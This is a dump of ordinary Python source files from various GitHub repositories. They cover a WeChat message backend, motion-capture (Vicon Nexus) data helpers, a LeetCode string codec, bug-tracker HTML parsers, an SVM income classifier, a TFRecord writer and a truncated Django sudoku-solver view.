mail_day_top_voted_products),\n (user_event_help, push_help_info),\n (user_event_feedback, push_thanks_info),\n]\n\n# verify for weixin server.\n# weixin server will send GET request first to verify this backend\n@weixin.route('/weixin', methods=['GET'])\ndef weixin_access_verify():\n \"\"\" weixin access verify \"\"\"\n print(\"weixin_access_verify\")\n echostr = request.args.get('echostr')\n if verification(request) and echostr is not None:\n return echostr\n return 'access verification fail'\n\n# reciever msgs from weixin server\n@weixin.route('/weixin', methods=['POST'])\ndef weixin_msg():\n \"\"\" weixin access verify \"\"\"\n if verification(request):\n data = request.data\n msg = parse_msg(data)\n for (event, handler) in EVENT_PROCS:\n if event(msg):\n return handler(msg)\n return 'message processing fail'\n\ndef verification(req):\n \"\"\"verify the weixin server\"\"\"\n signature = req.args.get('signature')\n timestamp = req.args.get('timestamp')\n nonce = req.args.get('nonce')\n\n if signature is None or timestamp is None or nonce is None:\n return False\n\n token = APP_TOKEN\n tmplist = [token, timestamp, nonce]\n tmplist.sort()\n tmpstr = ''.join(tmplist)\n hashstr = hashlib.sha1(tmpstr).hexdigest()\n\n if hashstr == signature:\n return True\n return False\n\ndef parse_msg(rawmsgstr):\n \"\"\" parse message \"\"\"\n root = ET.fromstring(rawmsgstr)\n msg = {}\n for child in root:\n msg[child.tag] = child.text\n return msg\n\ndef response_text_msg(msg, content):\n \"\"\" response text message \"\"\"\n result = TEXT_MSG_TPL % (msg['FromUserName'], msg['ToUserName'],\n str(int(time.time())), content)\n return result\n\ndef response_products_msg(msg, products):\n \"\"\" response xml message \"\"\"\n result = ARTICLES_MSG_TPL_HEAD % (msg['FromUserName'], msg['ToUserName'],\n str(int(time.time())), len(products))\n for prod in products:\n tagline = '[%s] %s' % (format_date(prod.date), prod.tagline)\n if prod == products[0]:\n title = '[%dV] [%s] %s - %s' % (prod.votes_count, prod.date, \\\n prod.name, prod.tagline)\n else:\n title = '[%dV] %s\\r\\n%s' % (prod.votes_count, prod.name, tagline)\n\n item = ARTICLES_ITEM_TPL % (title, tagline, prod.screenshot_url, \\\n prod.redirect_url)\n result = result + item\n result = result + ARTICLES_MSG_TPL_TAIL\n return result\n","repo_name":"kamidox/weixin_producthunt","sub_path":"productporter/weixin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"5774207702","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport logging\n\nfrom pyCGM2 import btk\n\n\ndef _setPointData(ftr,framecount,ff,values):\n\n beg = ff - ftr\n\n data =[list(np.zeros((framecount))), list(np.zeros((framecount))),list(np.zeros((framecount)))]\n exists = [False]*framecount\n\n i=beg\n for val in values:\n data[0][i] = val[0]\n data[1][i] = val[1]\n data[2][i] = val[2]\n exists[i] = False if val[0] ==0 and val[1] ==0 and val[2] ==0 else True\n i+=1\n\n return data,exists\n\n\n\ndef checkActivatedSubject(NEXUS,subjectNames):\n \"\"\"\n Note : function should be improved in Nexus API by Vicon\n \"\"\"\n\n subjectMarkerWithTraj=dict()\n for subject in subjectNames:\n markers = NEXUS.GetMarkerNames(subject)\n marker = None\n for mark in markers:\n if NEXUS.GetTrajectory(subject,mark) != ([], [], [], []):\n marker = mark\n logging.debug(\"Subject : %s ( marker (%s) with trajectory )\" %(subject,marker))\n subjectMarkerWithTraj[subject] = marker\n break\n\n\n flags=list()\n for value in subjectMarkerWithTraj.itervalues():\n if value is not None:\n flags.append(True)\n else:\n flags.append(False)\n\n if flags.count(True)>1:\n raise Exception(\"[pyCGM2] : two subjects are activated. Select one ony\")\n else:\n index = flags.index(True)\n logging.debug(\"Active subject is %s\"%(subjectMarkerWithTraj.keys()[index]))\n\n return subjectMarkerWithTraj.keys()[index]\n\n\ndef setTrajectoryFromArray(NEXUS,vskName,label,array,firstFrame = 0):\n\n framecount = NEXUS.GetFrameCount()\n n = array.shape[0]-1\n\n\n data =[list(np.zeros((framecount))), list(np.zeros((framecount))),list(np.zeros((framecount)))]\n exists = [False]*framecount\n\n j=0\n for i in range(0,n+1):\n exists[firstFrame+i] = True if array[j,0] !=0 else False\n data[0][firstFrame+i] = array[j,0]\n data[1][firstFrame+i] = array[j,1]\n data[2][firstFrame+i] = array[j,2]\n j+=1\n\n NEXUS.SetTrajectory( vskName, label, data[0],data[1],data[2], exists )\n\n\ndef setTrajectoryFromAcq(NEXUS,vskName,label,acq):\n\n markers = NEXUS.GetMarkerNames(vskName)\n if label not in markers:\n raise Exception (\"[pyCGM2] - trajectory of marker (%s) not found. update of trajectory impossible \"%(label))\n\n values = acq.GetPoint(label).GetValues()\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n pfn = acq.GetPointFrameNumber()\n\n trialRange_init = NEXUS.GetTrialRange()[0]\n framecount = NEXUS.GetFrameCount() # instead of GetFrameCount ( nexus7 API differed from nexus 2.6 API)\n data,exists = _setPointData(trialRange_init,framecount,ff,values)\n\n NEXUS.SetTrajectory( vskName, label, data[0],data[1],data[2], exists )\n\n\n\ndef appendModelledMarkerFromAcq(NEXUS,vskName,label, acq,suffix=\"\"):\n\n lst = NEXUS.GetModelOutputNames(vskName)\n output_label = label+suffix\n if output_label in lst:\n logging.debug( \"marker (%s) already exist\" %(output_label))\n else:\n NEXUS.CreateModeledMarker(vskName, output_label)\n\n values = acq.GetPoint(label).GetValues()\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n pfn = acq.GetPointFrameNumber()\n\n trialRange_init = NEXUS.GetTrialRange()[0]\n framecount = NEXUS.GetFrameCount() # instead of GetFrameCount ( nexus7 API differed from nexus 2.6 API)\n data,exists = _setPointData(trialRange_init,framecount,ff,values)\n\n NEXUS.SetModelOutput( vskName, output_label, data, exists )\n\n\n\n\n\ndef appendAngleFromAcq(NEXUS,vskName,label, acq):\n\n lst = NEXUS.GetModelOutputNames(vskName)\n if label in lst:\n NEXUS.GetModelOutput(vskName, label)\n logging.debug( \"angle (%s) already exist\" %(label))\n else:\n NEXUS.CreateModelOutput( vskName, label, \"Angles\", [\"X\",\"Y\",\"Z\"], [\"Angle\",\"Angle\",\"Angle\"])\n\n values = acq.GetPoint(label).GetValues()\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n\n\n pfn = acq.GetPointFrameNumber()\n trialRange_init = NEXUS.GetTrialRange()[0]\n framecount = NEXUS.GetFrameCount()\n data,exists = _setPointData(trialRange_init,framecount,ff,values)\n\n NEXUS.SetModelOutput( vskName, label, data, exists )\n\n\n\ndef appendForceFromAcq(NEXUS,vskName,label, acq,normalizedData=True):\n\n lst = NEXUS.GetModelOutputNames(vskName)\n if label in lst:\n NEXUS.GetModelOutput(vskName, label)\n logging.debug( \"force (%s) already exist\" %(label))\n else:\n if normalizedData:\n NEXUS.CreateModelOutput( vskName, label, \"Forces\", [\"X\",\"Y\",\"Z\"], [\"ForceNormalized\",\"ForceNormalized\",\"ForceNormalized\"])\n else:\n NEXUS.CreateModelOutput( vskName, label, \"Forces\", [\"X\",\"Y\",\"Z\"], [\"Force\",\"Force\",\"Force\"])\n\n values = acq.GetPoint(label).GetValues()\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n pfn = acq.GetPointFrameNumber()\n\n trialRange_init = NEXUS.GetTrialRange()[0]\n framecount = NEXUS.GetFrameCount() # instead of GetFrameCount ( nexus7 API differed from nexus 2.6 API)\n data,exists = _setPointData(trialRange_init,framecount,ff,values)\n\n\n NEXUS.SetModelOutput( vskName, label, data, exists )\n\n\n\ndef appendMomentFromAcq(NEXUS,vskName,label, acq,normalizedData=True):\n\n lst = NEXUS.GetModelOutputNames(vskName)\n if label in lst:\n NEXUS.GetModelOutput(vskName, label)\n logging.debug( \"moment (%s) already exist\" %(label))\n else:\n if normalizedData:\n NEXUS.CreateModelOutput( vskName, label, \"Moments\", [\"X\",\"Y\",\"Z\"], [\"TorqueNormalized\",\"TorqueNormalized\",\"TorqueNormalized\"])#\n else:\n NEXUS.CreateModelOutput( vskName, label, \"Moments\", [\"X\",\"Y\",\"Z\"], [\"Torque\",\"Torque\",\"Torque\"])\n\n\n values = acq.GetPoint(label).GetValues()\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n pfn = acq.GetPointFrameNumber()\n\n\n trialRange_init = NEXUS.GetTrialRange()[0]\n framecount = NEXUS.GetFrameCount() # instead of GetFrameCount ( nexus7 API differed from nexus 2.6 API)\n data,exists = _setPointData(trialRange_init,framecount,ff,values)\n\n\n\n NEXUS.SetModelOutput( vskName, label, data, exists )\n\ndef appendPowerFromAcq(NEXUS,vskName,label, acq,normalizedData=True):\n lst = NEXUS.GetModelOutputNames(vskName)\n if label in lst:\n NEXUS.GetModelOutput(vskName, label)\n logging.debug( \"power (%s) already exist\" %(label))\n else:\n if normalizedData:\n NEXUS.CreateModelOutput( vskName, label, \"Powers\", [\"X\",\"Y\",\"Z\"], [\"PowerNormalized\",\"PowerNormalized\",\"PowerNormalized\"])\n else:\n NEXUS.CreateModelOutput( vskName, label, \"Powers\", [\"X\",\"Y\",\"Z\"], [\"Power\",\"Power\",\"Power\"])\n\n\n values = acq.GetPoint(label).GetValues()\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n pfn = acq.GetPointFrameNumber()\n trialRange_init = NEXUS.GetTrialRange()[0]\n framecount = NEXUS.GetFrameCount() # instead of GetFrameCount ( nexus7 API differed from nexus 2.6 API)\n data,exists = _setPointData(trialRange_init,framecount,ff,values)\n\n NEXUS.SetModelOutput( vskName, label, data, exists )\n\ndef appendBones(NEXUS,vskName,acq,label,segment,OriginValues=None,manualScale=None,suffix=\"\"):\n\n output_label = label+suffix\n lst = NEXUS.GetModelOutputNames(vskName)\n if output_label not in lst:\n NEXUS.CreateModelOutput( vskName,output_label, 'Plug-in Gait Bones', ['RX', 'RY', 'RZ', 'TX', 'TY', 'TZ', 'SX', 'SY', 'SZ'], ['Angle', 'Angle', 'Angle', 'Length', 'Length', 'Length', 'Length', 'Length', 'Length'])\n\n #ff,lf = NEXUS.GetTrialRange()\n ff = acq.GetFirstFrame()\n lf = acq.GetLastFrame()\n pfn = acq.GetPointFrameNumber()\n framecount = NEXUS.GetFrameCount()\n trialRange_init = NEXUS.GetTrialRange()[0]\n\n beg = ff-trialRange_init\n end = lf-trialRange_init+1\n\n\n data =[list(np.zeros((framecount))), list(np.zeros((framecount))),list(np.zeros((framecount))),\n list(np.zeros((framecount))), list(np.zeros((framecount))),list(np.zeros((framecount))),\n list(np.zeros((framecount))), list(np.zeros((framecount))),list(np.zeros((framecount)))]\n exists = [False]*framecount\n\n j=0\n for i in range(beg,end):\n if OriginValues is None:\n T= segment.anatomicalFrame.motion[j].getTranslation()\n else:\n T = OriginValues[j,:]\n\n R= segment.anatomicalFrame.motion[j].getAngleAxis()\n\n if manualScale is None:\n S = segment.m_bsp[\"length\"]\n else:\n S = manualScale\n\n exists[i] = True\n data[0][i] = R[0]\n data[1][i] = R[1]\n data[2][i] = R[2]\n data[3][i] = T[0]\n data[4][i] = T[1]\n data[5][i] = T[2]\n data[6][i] = S\n data[7][i] = S\n data[8][i] = S\n\n j+=1\n\n NEXUS.SetModelOutput( vskName, output_label, data, exists )\n\n\ndef createGeneralEvents(NEXUS,subject,acq,labels):\n\n freq = acq.GetPointFrequency()\n events= acq.GetEvents()\n for ev in btk.Iterate(events):\n if ev.GetLabel() in labels:\n #print ev.GetTime()*freq\n NEXUS.CreateAnEvent( str(subject), \"General\", str(ev.GetLabel()), int(ev.GetTime()*freq), 0.0 )\n\ndef createEvents(NEXUS,subject,acq,labels):\n\n freq = acq.GetPointFrequency()\n events= acq.GetEvents()\n for ev in btk.Iterate(events):\n if ev.GetLabel() in labels:\n #print ev.GetTime()*freq\n NEXUS.CreateAnEvent( str(subject), str(ev.GetContext()), str(ev.GetLabel()), int(ev.GetTime()*freq), 0.0 )\n\ndef getForcePlateAssignment(NEXUS):\n out = dict()\n for id in NEXUS.GetDeviceIDs():\n name, type, rate, output_ids, forceplate, eyetracker = NEXUS.GetDeviceDetails(id)\n if type == u'ForcePlate':\n if forceplate.Context==\"Invalid\":\n out[str(id)]=\"X\"\n if forceplate.Context==\"Left\":\n out[str(id)]=\"L\"\n if forceplate.Context==\"Right\":\n out[str(id)]=\"R\"\n if forceplate.Context==\"Auto\":\n out[str(id)]=\"A\"\n return out\n","repo_name":"suguke/pyCGM2","sub_path":"pyCGM2/Nexus/nexusTools.py","file_name":"nexusTools.py","file_ext":"py","file_size_in_byte":10304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"39500631341","text":"# https://leetcode.com/problems/encode-and-decode-strings/\n# https://leetcode.com/problems/encode-and-decode-strings/discuss/70448/1%2B7-lines-Python-(length-prefixes)\n# Time: encode O(N), decode: O(N)\n# Space: O(1), exclude answer??\n# use prefix sum\n\nclass Codec:\n\n def encode(self, strs):\n \"\"\"Encodes a list of strings to a single string.\n \n :type strs: List[str]\n :rtype: str\n \"\"\"\n return ''.join('{}:{}'.format(len(s), s) for s in strs)\n \n\n def decode(self, s):\n \"\"\"Decodes a single string to a list of strings.\n \n :type s: str\n :rtype: List[str]\n \"\"\"\n ans, i = [], 0\n while i < len(s):\n j = i\n while s[j] != ':':\n j += 1\n start, k = j + 1, int(s[i:j])\n ans.append(s[start:start + k])\n i = start + k\n return ans\n \n \n\n# Your Codec object will be instantiated and called as such:\n# codec = Codec()\n# codec.decode(codec.encode(strs))\n","repo_name":"jwyx3/practices","sub_path":"leetcode/string/encode-and-decode-strings.py","file_name":"encode-and-decode-strings.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29449742237","text":"#-*- coding: utf-8 -*-\n__author__ = 'wufeng_wb'\n\nfrom html.parser import HTMLParser\n\nclass bugIdParser(HTMLParser):\n def __init__(self):\n super(bugIdParser,self).__init__()\n self.buglist = ''\n def handle_starttag(self, tag, attrs):\n try:\n if tag == 'input' and attrs[0][1] == 'dependson':\n self.buglist = attrs[3][1]\n # print(attrs[3][1])\n else:\n pass\n except UnicodeEncodeError:\n pass\n def show(self):\n return self.buglist\n\nclass bugListParser(HTMLParser):\n def __init__(self):\n super(bugListParser,self).__init__()\n self.flag = ''\n self.data_key = ''\n self.data_list = []\n self.DATA_INIT = {}\n def handle_starttag(self, tag, attrs):\n # if tag == 'td' and ('class','first-child bz_id_column') in attrs:\n if tag == 'td' and ('class','first-child bz_id_column') in attrs:\n self.flag = 'ID_0'\n elif tag == 'td' and ('class','bz_short_desc_column') in attrs:\n self.flag = 'SUMMARY_0'\n elif tag == 'td' and ('class','bz_assigned_to_column') in attrs:\n self.flag = 'ASSIGNED_0'\n elif tag == 'td' and ('class','bz_priority_column') in attrs:\n self.flag = 'PRIORITY_0'\n elif tag == 'td' and ('class','bz_bug_status_column') in attrs:\n self.flag = 'BUGSTATE_0'\n elif tag == 'a' and self.flag == 'ID_0':\n self.flag = 'ID_1'\n elif tag == 'a' and self.flag == 'SUMMARY_0':\n self.flag = 'SUMMARY_1'\n elif tag == 'span' and self.flag == 'ASSIGNED_0':\n self.flag = 'ASSIGNED_1'\n elif tag == 'span' and self.flag == 'PRIORITY_0':\n self.flag = 'PRIORITY_1'\n elif tag == 'span' and self.flag == 'BUGSTATE_0':\n self.flag = 'BUGSTATE_1'\n else:\n self.flag = ''\n pass\n\n def handle_data(self, data):\n if self.flag == 'ID_1':\n self.data_key = data\n self.flag = ''\n elif self.flag == 'SUMMARY_1':\n self.data_list.append(data.rstrip())\n self.flag = ''\n elif self.flag == 'ASSIGNED_1':\n self.data_list.append(data.rstrip())\n self.flag = ''\n elif self.flag == 'PRIORITY_1':\n self.data_list.append(data.rstrip())\n self.flag = ''\n elif self.flag == 'BUGSTATE_1':\n self.data_list.append(data.rstrip())\n self.DATA_INIT[self.data_key] = self.data_list\n self.data_key = 0\n self.data_list = []\n self.flag = ''\n else:\n pass\n\n def show(self):\n return self.DATA_INIT\n\nclass bugCreateTimeParser(HTMLParser):\n def __init__(self):\n super(bugCreateTimeParser, self).__init__()\n self.createTime = {}\n self.flag = ''\n\n def handle_starttag(self, tag, attrs):\n # 检测到标签th与符合要求的attr,则flag置为好像是\n if tag == 'th' and ('class','field_label') in attrs:\n self.flag = 'Reported_0'\n # 检测到标签td,此时flag置为等待添加list\n elif self.flag == 'Reported_1' and tag == 'td':\n self.flag = 'standby'\n # 若标签不是th,则flag置为空\n else:\n self.flag = ''\n\n def handle_data(self, data):\n # 此时坐标位于标签th,检测th内data,如果是Reported则flag置为确信.接下来一个标签内的数据就是我要的\n if 'Reported:' in data:\n self.flag = 'Reported_1'\n elif 'Modified:' in data:\n self.flag = ''\n # 若data内无Reported,则flag置为空\\\n # 如果检测到flag为standby状态,则直接将data添加到list.添加完毕后flag置为空\n if self.flag == 'standby':\n self.createTime['createTime'] = data[0:10]\n self.flag = ''\n\n def show(self):\n return self.createTime\n\nclass bugResolvedTimeParser(HTMLParser):\n def __init__(self):\n super(bugResolvedTimeParser,self).__init__()\n self.resolvedTimeDict = {'resolvedTime':[]}\n self.resolvedTime = ''\n self.lastTag = ''\n self.flag = 0\n self.lastTime = ''\n\n def handle_starttag(self, tag, attrs):\n if tag == 'tr':\n self.lastTag = 'tr'\n elif self.lastTag == 'tr' and tag == 'td':\n self.lastTag = 'td'\n elif self.lastTag == 'td' and tag == 'td':\n self.lastTag = 'td2'\n elif self.lastTag == 'td2' and tag == 'td':\n self.lastTag = 'td3'\n elif self.lastTag == 'td3' and tag == 'td':\n self.lastTag = 'td4'\n elif self.lastTag == 'td4' and tag == 'td':\n self.lastTag = 'td5'\n # else:\n # self.flag = 0\n\n def handle_data(self, data):\n if self.lastTag == 'td2' and 'CST' in data:\n self.resolvedTime = data[0:10]\n elif self.lastTag == 'td3' and 'Status' in data:\n self.flag = 1\n elif self.flag == 1 and self.lastTag == 'td5' and 'RESOLVED' in data:\n if self.resolvedTime != self.lastTime:\n self.lastTime = self.resolvedTime\n self.resolvedTimeDict['resolvedTime'].append(self.lastTime)\n self.resolvedTime = ''\n self.lastTag = ''\n self.flag = 0\n else:\n pass\n # else:\n # self.resolvedTime = ''\n\n def show(self):\n return self.resolvedTimeDict\n\nclass bugIdParser_requirement(HTMLParser):\n def __init__(self):\n super(bugIdParser_requirement,self).__init__()\n self.a = 0\n self.flag = ''\n self.id_list = []\n\n def handle_starttag(self, tag, attrs):\n self.a = 0\n if self.flag == '' and tag == 'tr' and ('class','text-center') in attrs:\n self.flag = 'tr'\n elif self.flag == 'tr' and tag == 'td':\n self.flag = 'tr_td1'\n elif self.flag == 'tr_td1' and tag == 'input':\n self.flag = 'tr_td1_input'\n elif self.flag == 'tr_td1_input' and tag == 'a':\n self.flag = 'tr_td1_input_a'\n\n def handle_data(self, data):\n if self.a == 0 and self.flag == 'tr_td1_input_a':\n self.flag = ''\n self.id_list.append(data)\n self.a = 1\n\n def show(self):\n return self.id_list\n\nclass bugListParser_requirement(HTMLParser):\n def __init__(self):\n super(bugListParser_requirement,self).__init__()\n self.a = 0\n self.flag = ''\n self.data_key = ''\n self.data_list = []\n self.DATA_INIT = {}\n\n def handle_starttag(self, tag, attrs):\n self.a = 0\n if self.flag == '' and tag == 'tr' and ('class','text-center') in attrs:\n self.flag = 'tr'\n elif self.flag == 'tr' and tag == 'td':\n self.flag = 'tr_td1'\n elif self.flag == 'tr_td1' and tag == 'input':\n self.flag = 'tr_td1_input'\n elif self.flag == 'tr_td1_input' and tag == 'a':\n self.flag = 'tr_td1_input_a'\n elif self.flag == 'tr_td1' and tag == 'td':\n self.flag = 'tr_td2'\n elif self.flag == 'tr_td2' and tag == 'span':\n self.flag = 'tr_td2_span'\n elif self.flag == 'tr_td2' and tag == 'td':\n self.flag = 'tr_td3'\n elif self.flag == 'tr_td3' and tag == 'td':\n self.flag = 'tr_td4'\n elif self.flag == 'tr_td4' and tag == 'span':\n self.flag = 'tr_td4_span'\n elif self.flag == 'tr_td4_span' and tag == 'a':\n self.flag = 'tr_td4_span_a'\n elif self.flag == 'tr_td4' and tag == 'td':\n self.flag = 'tr_td5'\n elif self.flag == 'tr_td5' and tag == 'td':\n self.flag = 'tr_td6'\n elif self.flag == 'tr_td6' and tag == 'td':\n self.flag = 'tr_td7'\n elif self.flag == 'tr_td7' and tag == 'td':\n self.flag = 'tr_td8'\n elif self.flag == 'tr_td8' and tag == 'td':\n self.flag = 'tr_td9'\n elif self.flag == 'tr_td9' and tag == 'td':\n self.flag = 'tr_td10'\n\n def handle_data(self, data):\n if self.a == 0 and self.flag == 'tr_td1_input_a':\n self.flag = 'tr_td1'\n self.data_key = data\n elif self.a == 0 and self.flag == 'tr_td2_span':\n self.flag = 'tr_td2'\n self.data_list.insert(0,data)\n elif self.a == 0 and self.flag == 'tr_td4_span_a':\n self.flag = 'tr_td4'\n self.data_list.insert(0,data)\n elif self.a == 0 and self.flag == 'tr_td5':\n self.flag = 'tr_td5'\n self.data_list.insert(2,data)\n elif self.a == 0 and self.flag == 'tr_td8':\n self.flag = 'tr_td8'\n self.data_list.insert(1,data)\n elif self.a == 0 and self.flag == 'tr_td10':\n self.flag = ''\n self.data_list.append(data)\n self.DATA_INIT[self.data_key] = self.data_list\n self.data_list = []\n self.a = 1\n\n def show(self):\n return self.DATA_INIT\n\nclass bugHistoryParser_requirement(HTMLParser):\n def __init__(self):\n super(bugHistoryParser_requirement,self).__init__()\n self.a = 0\n self.flag = ''\n self.theTime = ''\n self.historyDict = {'createTime': '', 'resolvedTime': [], 'reopenTime': []}\n\n def handle_starttag(self, tag, attrs):\n self.a = 0\n if self.flag == '' and tag == 'ol' and ('id','historyItem'):\n self.flag = 'ol'\n elif self.flag == 'ol' and tag == 'li':\n self.flag = 'ol_li'\n elif self.flag == 'ol_li' and tag == 'span':\n self.flag = 'ol_li_span'\n elif self.flag == 'ol_li_span' and tag == 'strong':\n self.flag = 'ol_li_span_strong'\n elif self.flag == 'ol_li_span_strong_skip' and tag == 'li':\n self.flag = 'ol_li'\n\n\n def handle_data(self, data):\n if self.a == 0 and self.flag == 'ol_li_span':\n self.theTime = data.replace('\\n ','').replace(', 由 ','')\n # print(self.createTime)\n self.a = 1\n elif self.a == 0 and self.flag == 'ol_li_span_strong':\n self.flag = 'ol_li_span_strong_skip'\n self.a = 1\n elif self.a == 1 and self.flag == 'ol_li_span_strong_skip':\n if data.replace(' ','')[0:2] == '创建':\n self.historyDict['createTime'] = self.theTime[0:10]\n self.theTime = ''\n self.flag = 'ol_li'\n self.a = 0\n elif data.replace(' ','')[0:2] == '解决':\n self.historyDict['resolvedTime'].append(self.theTime[0:19])\n self.theTime = ''\n self.flag = 'ol_li'\n self.a = 0\n elif data.replace(' ','')[0:2] == '激活':\n self.historyDict['reopenTime'].append(self.theTime[0:19])\n self.theTime = ''\n self.flag = 'ol_li'\n self.a = 0\n\n def show(self):\n return self.historyDict\n\nclass bugReopenANDPendingParser_requirement(HTMLParser):\n def __init__(self):\n super(bugReopenANDPendingParser_requirement,self).__init__()\n self.a = 0\n self.flag = ''\n self.statusChange = []\n self.bugHistory = []\n\n def handle_starttag(self, tag, attrs):\n self.a = 0\n if self.flag == '' and tag == 'ol' and ('id','historyItem'):\n self.flag = 'ol'\n elif self.flag == 'ol' and tag == 'li':\n self.flag = 'ol_li'\n elif self.flag == 'ol_li' and tag == 'span':\n self.flag = 'ol_li_span'\n elif self.flag == 'ol_li_span' and tag == 'strong':\n self.flag = 'ol_li_span_strong'\n elif self.flag == 'ol_li_span_strong_skip' and tag == 'li':\n self.flag = 'ol_li'\n elif self.flag == 'ol_li_span_strong_skip' and tag == 'strong':\n self.flag = 'ol_li_span_strong_skip_strong'\n\n\n def handle_data(self, data):\n if self.a == 0 and self.flag == 'ol_li_span_strong':\n self.flag = 'ol_li_span_strong_skip'\n self.a = 1\n elif self.a == 1 and self.flag == 'ol_li_span_strong_skip':\n self.statusChange.append(data.replace(' ','')[0:2])\n self.bugHistory.append(self.statusChange)\n self.statusChange = []\n self.a = 0\n elif self.a == 0 and self.flag == 'ol_li_span_strong_skip_strong':\n self.bugHistory[len(self.bugHistory)-1].append(data)\n self.flag = 'ol_li'\n\n def show(self):\n return self.bugHistory\n\n\n","repo_name":"erikshe2003/bug2xlsx","sub_path":"packages/myParsers.py","file_name":"myParsers.py","file_ext":"py","file_size_in_byte":12625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27617427348","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.svm import SVC\n\n\ndef add_missing_columns(d, columns):\n missing_col = set(columns) - set(d.columns)\n for col in missing_col:\n d[col] = 0\n\n\ndef fix_columns(d, columns):\n add_missing_columns(d, columns)\n assert (set(columns) - set(d.columns) == set())\n return d[columns]\n\n\ndef data_process(df, model):\n df.replace(\" ?\", pd.NaT, inplace=True)\n if model == 'train':\n df.replace(\" >50K\", 1, inplace=True)\n df.replace(\" <=50K\", 0, inplace=True)\n if model == 'test':\n df.replace(\" >50K.\", 1, inplace=True)\n df.replace(\" <=50K.\", 0, inplace=True)\n trans = {'workclass': df['workclass'].mode()[0], 'occupation': df['occupation'].mode()[0],\n 'native-country': df['native-country'].mode()[0]}\n df.fillna(trans, inplace=True)\n\n df.drop('fnlwgt', axis=1, inplace=True)\n df.drop('capital-gain', axis=1, inplace=True)\n df.drop('capital-loss', axis=1, inplace=True)\n\n df_object_col = [col for col in df.columns if df[col].dtype.name == 'object']\n df_int_col = [col for col in df.columns if df[col].dtype.name != 'object' and col != 'income']\n target = df[\"income\"]\n dataset = pd.concat([df[df_int_col], pd.get_dummies(df[df_object_col])], axis=1)\n\n return target, dataset\n\n\ndef Adult_data():\n df_train = pd.read_csv('data/adult.csv', header=None,\n names=['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status',\n 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss',\n 'hours-per-week', 'native-country', 'income'])\n df_test = pd.read_csv('data/adult.test', header=None, skiprows=1,\n names=['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status',\n 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss',\n 'hours-per-week', 'native-country', 'income'])\n\n train_target, train_dataset = data_process(df_train, 'train')\n test_target, test_dataset = data_process(df_test, 'test')\n # 进行独热编码对齐\n test_dataset = fix_columns(test_dataset, train_dataset.columns)\n columns = train_dataset.columns\n\n train_target, test_target = np.array(train_target), np.array(test_target)\n train_dataset, test_dataset = np.array(train_dataset), np.array(test_dataset)\n\n return train_dataset, train_target, test_dataset, test_target, columns\n\n\ntrain_dataset, train_target, test_dataset, test_target, columns = Adult_data()\nprint(train_dataset.shape, test_dataset.shape, train_target.shape, test_target.shape)\n\nclf = SVC(kernel='linear')\nclf = clf.fit(train_dataset, train_target)\npred = clf.predict(test_dataset)\nscore = clf.score(test_dataset, test_target)\nprint(score)\n","repo_name":"Owemshu/DataMining","sub_path":"supportVectorMachines/AdultClassification.py","file_name":"AdultClassification.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"41064228804","text":"\"\"\" make the train records\"\"\"\n\nfrom ops_image import *\nfrom PIL import Image\n\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _int_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef main():\n writer = tf.python_io.TFRecordWriter(\"train3.tfrecords\")\n # 加载图片路径\n data = load_images_src('./icon/')\n train_images = ([image for image in data])\n\n # 将数据写入tf.records\n for img_path in train_images:\n # 打开图片数据\n img = Image.open(img_path)\n img = img.resize((64, 64))\n # 将图片数据转化成bytes\n img_raw = img.tobytes()\n example = tf.train.Example(features=tf.train.Features(feature={\n 'img_raw': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw]))\n }))\n # 写入数据\n writer.write(example.SerializeToString())\n\n writer.close()\n\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"bringtree/DCGAN","sub_path":"make_records.py","file_name":"make_records.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35825857305","text":"from typing import Any\n\nfrom rest_framework import mixins, viewsets\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom sudoku_ocr import Board\n\nfrom api.serializers import OcrViewSerializer, SolveViewSerializer\n\n\nclass SolveViewSet(\n mixins.CreateModelMixin,\n viewsets.GenericViewSet,\n):\n \"\"\"ViewSet for api/solve.\"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = SolveViewSerializer\n\n def create(self, request: Any) -> Response:\n \"\"\"Overwite create method to return Response instead of query db.\"\"\"\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n board = Board()\n board.board_value = serializer.data[\"puzzle\"]\n board.solve()\n\n error_message = \"\"\n if 1 not in board.solved_board[0]:\n error_message = \"sudoku not valid\"\n return Response(\n {\n \"solved_puzzle\": board.solved_board,\n \"error\": error_message,\n }\n )\n\n def get_queryset(self) -> None:\n \"\"\"Overwrite qet_queryset method to pass instead of return queryset.\"\"\"\n 